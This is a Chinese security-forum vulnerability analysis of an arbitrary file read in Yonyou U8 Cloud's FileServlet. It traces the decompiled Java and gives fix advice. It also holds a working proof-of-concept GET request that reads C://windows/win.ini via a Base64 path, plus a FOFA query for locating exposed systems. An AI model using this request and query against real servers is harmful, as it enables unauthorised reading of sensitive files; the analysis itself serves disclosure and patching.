问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友 U8Cloud FileServlet 任意文件读取漏洞分析
渗透测试
U8cloud系统FileServlet接口存在任意文件读取漏洞,攻击者读取系统任意文件,造成敏感信息泄露
一、漏洞简介 ------ U8cloud系统`FileServlet`接口存在任意文件读取漏洞,攻击者读取系统任意文件,造成敏感信息泄露。 二、影响版本 ------ 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 三、漏洞原理分析 -------- 漏洞位于`FileServlet`接口处,文件路径为`nc.bs.hr.tools.trans.FileServlet`  来到漏洞方法被调用就会执行的`doAction`中,此处调用了`performTask`方法 ```php public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { performTask(request, response); } ``` 追踪`performTask`方法  关键代码如下,传参`path`赋值给`encodedPath`,使用 `BASE64Decoder`对`encodedPath`进行`Base64`解码,将解码后的字节数组转换为字符串`path`,之后调用`retrieveFile.getFileContent(path)`方法获取文件内容 ```php String encodedPath = request.getParameter("path"); BASE64Decoder decoder = new BASE64Decoder(); byte[] data = decoder.decodeBuffer(encodedPath); String path = new String(data); int index = path.lastIndexOf("."); String ext = null; if (index != -1) ext = path.substring(index + 1); if (ext != null) { String contenttype = this.contentTypes.get(ext); if (contenttype != null) response.setContentType(contenttype); } byte[] filedata = this.retrieveFile.getFileContent(path); if (filedata == null) filedata = new byte[0]; ServletOutputStream servletOutputStream = response.getOutputStream(); servletOutputStream.write(filedata); servletOutputStream.flush(); servletOutputStream.close(); } catch (Throwable theException) { theException.printStackTrace(); } ``` 继续追踪`getFileContent`方法  此处可见是直接读取`path`参数对应的路径的文件,返回给前端,造成任意文件读取 再根据用友U8 Cloud特性,请求前缀为`/service`和`/servlet`前缀的都经过`NCInvokerServlet`方法处理,通过获得url路径后,如果是以`/~`开头,截取第一部分为`moduleName`,然后再截取第二部分为`serviceName`,再根据`getServiceObject(moduleName, serviceName)`实现任意`Servlet`的调用。该漏洞的请求URL如下,可以指定读取`C://windows/win.ini`文件内容  ```php /service/~hrpub/nc.bs.hr.tools.trans.FileServlet?path=QzovL3dpbmRvd3Mvd2luLmluaQ== ``` 四、总结 ---- U8cloud系统`FileServlet`接口的可以读取任意文件内容返回,造成系统敏感信息泄露。 五、资产测绘 ------ FOFA语法 ```php app="用友-U8-Cloud" ```  六、漏洞复现 ------ POC ```php GET /service/~hrpub/nc.bs.hr.tools.trans.FileServlet?path=QzovL3dpbmRvd3Mvd2luLmluaQ== HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` 成功读取`C://windows/win.ini`文件内容  七、修复建议 ------ 安装用友U8cloud最新的补丁,或修改对应方法中直接读取文件内容返回的方法,对接口添加身份信息验证并限制读取文件目录。
发表于 2025-05-15 09:00:01
阅读 ( 165 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
chobits
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!